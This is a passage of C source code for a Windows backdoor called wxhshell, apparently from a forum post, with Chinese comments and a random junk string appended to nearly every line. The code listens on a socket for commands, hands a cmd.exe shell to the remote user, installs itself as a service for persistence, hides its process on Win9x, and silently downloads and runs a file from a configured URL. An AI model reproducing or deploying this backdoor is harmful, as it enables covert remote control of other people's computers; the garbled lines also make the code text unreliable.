  } 0j~C6 vp  
  else { _EZrZB  
b~;+E#[*  
    switch(cmd[0]) { `Axn  
  ab5z&7Re6  
  // 帮助 {wf e!f  
  case '?': { [.iz<Yh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oxm3R8 S  
    break; t5za$kW'&  
  } 2}R)0][W  
  // 安装 ?Da!QH >,]  
  case 'i': { 8BJ&"y8H  
    if(Install()) |a {*r.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r(qU~re'  
    else Pd<>E*>}c.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1@0ZP~LTB  
    break; {@[z-)N7\,  
    } Z4Qq#iHZR  
  // 卸载 5AT[1@H(_  
  case 'r': { X6@G)68  
    if(Uninstall()) Ik|nL#JH]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E>SLR8!C v  
    else PM%Gsy]q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G_x<2E"d  
    break; nz]+G2 h  
    } 6ax|EMw  
  // 显示 wxhshell 所在路径 djcC m5m  
  case 'p': { oW/ #/;|`  
    char svExeFile[MAX_PATH]; ) crhF9!4  
    strcpy(svExeFile,"\n\r"); F4Gv=q)Z  
      strcat(svExeFile,ExeFile); v iY&D  
        send(wsh,svExeFile,strlen(svExeFile),0); MkG*6A  
    break; Cc,,e`  
    } DPZG_{3D  
  // 重启 B[O1^jdO  
  case 'b': { #}!Ge  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {)0"?$C_H  
    if(Boot(REBOOT)) !_gHIJiq}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZjXpMx,  
    else { 3v%V\kO=F  
    closesocket(wsh); EWg\\90  
    ExitThread(0); x, ^j=n  
    } <J QvuC  
    break; r6`v-TY(/  
    } H?>R#Ds-  
  // 关机 !7-dqw%l  
  case 'd': { ?8Hr 9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !8U\GR `  
    if(Boot(SHUTDOWN)) .pOTIRbA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^i^/d#  
    else { Rx 4 ;X  
    closesocket(wsh); *1KrI9i  
    ExitThread(0); XaV h.  
    } bgjo_!J+Pp  
    break; 3X&}{M:Qo  
    } 3R[5prE<  
  // 获取shell Q0_UBm^f  
  case 's': { jdGoPa\  
    CmdShell(wsh); ZLJfSnB  
    closesocket(wsh); 4` gAluJ#  
    ExitThread(0); [huS"1  
    break; 'lym^^MjL+  
  } bi bjFg   
  // 退出 -qBrJ1*  
  case 'x': { Vx^+Z,y&QP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E8~Bp-G)  
    CloseIt(wsh); ~% QVjzMC  
    break; RAQi&?Ko  
    } COa"zg  
  // 离开 _kb $S  
  case 'q': { .ns1;8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [ENm(e$sI  
    closesocket(wsh); &!#a^d+` 0  
    WSACleanup(); &AI/;zru  
    exit(1); pN"d~Z8  
    break; DUxj^,mf,  
        } ;_GS<[A3  
  } ^xO CT=V  
  } K_4}N%P/))  
7 p(^I*|  
  // 提示信息 ^E8XPK]-~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @O/-~, E68  
} %W=S*"e-  
  } <8>gb!DG  
~ FW@  
  return; ?1Lzbou  
} 1O0o18'  
3EN?{T<yf  
// shell模块句柄 ^|?/ y=  
int CmdShell(SOCKET sock) Q&;dXE h  
{ A7|!&fi  
STARTUPINFO si; wvum7K{tI  
ZeroMemory(&si,sizeof(si)); c@%:aiEl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F{a--  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y8uB>z+#+;  
PROCESS_INFORMATION ProcessInfo; t/\J  
char cmdline[]="cmd"; iXt >!f*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gf^"s fNk  
  return 0; @54D<Lj  
} MMglo3  
4 e1=b,  
// 自身启动模式 ^9 gFW $]  
int StartFromService(void) 8o-*s+EY"&  
{ {1.t ZCMT  
typedef struct i w<2|]>l  
{ PK@hf[YHe  
  DWORD ExitStatus; s88lN=;  
  DWORD PebBaseAddress; UW*[)yw]  
  DWORD AffinityMask; /ov&h;  
  DWORD BasePriority; FV>LD% uu  
  ULONG UniqueProcessId; :4PK4D s7  
  ULONG InheritedFromUniqueProcessId; < ) L'h  
}   PROCESS_BASIC_INFORMATION; gN|[n.W4  
A"8` 5qa  
PROCNTQSIP NtQueryInformationProcess; ,c#=qb8""  
uI^E9r/hB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;H5PiSq;z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /pZ]:.A  
\-Mzs 0R  
  HANDLE             hProcess; mdW8RsR  
  PROCESS_BASIC_INFORMATION pbi; V8w!yc  
1H{M0e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nh7+Vl  
  if(NULL == hInst ) return 0; A\9Q gM  
R87-L*9B^0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xwr<ib:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i>w'$ {  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #;?j]npg]  
YoV^Y&:9<  
  if (!NtQueryInformationProcess) return 0; y~CK&[H  
AOhfQ:E 4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ly1V@  
  if(!hProcess) return 0; o qa]iBO  
A` x_M!m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6\ g-KO  
3VZeUOxY\W  
  CloseHandle(hProcess); Zb<IZ)i#1  
|X/ QSL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,b2YUb]U  
if(hProcess==NULL) return 0; 7yGc@kJ?  
m?I$XAE  
HMODULE hMod; _zq"<Q c  
char procName[255]; u/3[6MIp  
unsigned long cbNeeded; iO)FZ%?"  
4viP lO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8C1 'g7A<  
RM8p[lfX  
  CloseHandle(hProcess); 'xi[- -  
j3`# v3  
if(strstr(procName,"services")) return 1; // 以服务启动 Gj^JpG  
`,XCD-R^  
  return 0; // 注册表启动 ]3Z?Q  
} ##~";j  
c+:LDc3!Gb  
// 主模块 RO(~c-fV  
int StartWxhshell(LPSTR lpCmdLine) spIkXEK  
{ GMqeC  
  SOCKET wsl; Ff xf!zS  
BOOL val=TRUE; X_yAx)Do  
  int port=0; Gzxq] Mg  
  struct sockaddr_in door; jU\vg;nr  
x _&=IyU0j  
  if(wscfg.ws_autoins) Install(); +cS%b}O`$  
-F.A1{l[.  
port=atoi(lpCmdLine); '|mVY; i[  
UX3 ]cr  
if(port<=0) port=wscfg.ws_port; {[~cQgCI  
0F$;]zg  
  WSADATA data; dc[w`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "L yMw){  
#-b0U[,.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g.![>?2$8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <BoDLvW>  
  door.sin_family = AF_INET; Y)*5M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W`HO Q  
  door.sin_port = htons(port); w E^6DNh  
C{mL]ds<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tHlKo0S$0  
closesocket(wsl); 4 [2^#t[  
return 1; R%)ZhG*  
} [J4 Aig  
XRi/O)98o  
  if(listen(wsl,2) == INVALID_SOCKET) { X2>qx^jT  
closesocket(wsl); ?;1^8 c0  
return 1; t?J Y@hT*  
} bvZTB<rA  
  Wxhshell(wsl); rv>K0= t0  
  WSACleanup(); )NG{iD{_]  
%Z|]"=;6  
return 0; . C_\xb  
 X$:r  
} WVaIC$Y  
_jkH}o '  
// 以NT服务方式启动 b'\a 4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /">A3bq  
{ -:92<G\D  
DWORD   status = 0; q:A{@kFq_  
  DWORD   specificError = 0xfffffff; a%f?OsY  
E[N5vG<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r?Y+TtF\e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uYW9kw>$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tEEeek(!  
  serviceStatus.dwWin32ExitCode     = 0; #P:o  
  serviceStatus.dwServiceSpecificExitCode = 0; iwb]mJUA  
  serviceStatus.dwCheckPoint       = 0; @.T w*t  
  serviceStatus.dwWaitHint       = 0; b"x[+&%i  
uM3F[p%V^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4Y>v+N^  
  if (hServiceStatusHandle==0) return; xsjJ8>G  
.O9 A[s<  
status = GetLastError(); > "G H Li  
  if (status!=NO_ERROR) Wl3jbupu _  
{ y>+xdD0 +  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _y~H#r9:  
    serviceStatus.dwCheckPoint       = 0; =*f>vrme  
    serviceStatus.dwWaitHint       = 0; WH Zz?|^  
    serviceStatus.dwWin32ExitCode     = status; @bu5{b+8  
    serviceStatus.dwServiceSpecificExitCode = specificError; yxfV|ox  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /0|niiI  
    return; E8]PV,#xY  
  } =Rnx!E  
=X6+}YQ"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @)0-oa,u+  
  serviceStatus.dwCheckPoint       = 0; ]KX _a1e  
  serviceStatus.dwWaitHint       = 0; I{Pny/d`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /rRQ*m_  
} )u{)"m`&[J  
<.c@l,[.z  
// 处理NT服务事件,比如:启动、停止 JDO5eEwj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y,1sNg  
{ }Ip"j]h  
switch(fdwControl) "zJGYBen  
{ >AcpJ|V  
case SERVICE_CONTROL_STOP: 9A]XuPAlh  
  serviceStatus.dwWin32ExitCode = 0; QInow2/u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]s lYr8m  
  serviceStatus.dwCheckPoint   = 0; ~'/I[y4t  
  serviceStatus.dwWaitHint     = 0; # L\t)W  
  { 7Gb(&'n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s(yVE  
  } 5gpqN)|)[  
  return; yKR0]6ahA  
case SERVICE_CONTROL_PAUSE: ;9cBlthh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u*R9x3&/5  
  break; pa0'\  
case SERVICE_CONTROL_CONTINUE: ;d17xu?ks  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6MC*2}W  
  break; ag6hhkj A  
case SERVICE_CONTROL_INTERROGATE: xJ"CAg|B  
  break; {.7ve<K  
}; Ln;jB&t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g*9jPwdG  
} f3h&K}x  
\R& 4Nu2F  
// 标准应用程序主函数 ns.[PJ"8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  )]2yTG[  
{ s^_E'j$  
}`/wj  
// 获取操作系统版本 )N QtjB$  
OsIsNt=GetOsVer(); @Yua%n6]#D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gI A{6,A  
c"+N{$ vp  
  // 从命令行安装 jjgY4<n  
  if(strpbrk(lpCmdLine,"iI")) Install(); $q}}w||e~0  
*!De(lhEc  
  // 下载执行文件 x/$s:[0B#  
if(wscfg.ws_downexe) { WWF#&)ti  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T W?O  
  WinExec(wscfg.ws_filenam,SW_HIDE); "4FL<6  
} &k3'UN!&Ix  
k fx<T  
if(!OsIsNt) { p9<OXeY   
// 如果时win9x,隐藏进程并且设置为注册表启动 LkFXUt?  
HideProc(); g{8 R+  
StartWxhshell(lpCmdLine); XezO_V  
} `~( P  
else YBgHX [q  
  if(StartFromService()) s(7'*`G"h  
  // 以服务方式启动 Fz+0h"  
  StartServiceCtrlDispatcher(DispatchTable); SEY  
else Fi{~UOZg  
  // 普通方式启动 0|X!Uw-Q%_  
  StartWxhshell(lpCmdLine); \\jB@O  
%l@Q&)f8e  
return 0; sY,!Ir`/`  
}
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只看该作者 1 发表于: 2006-10-10
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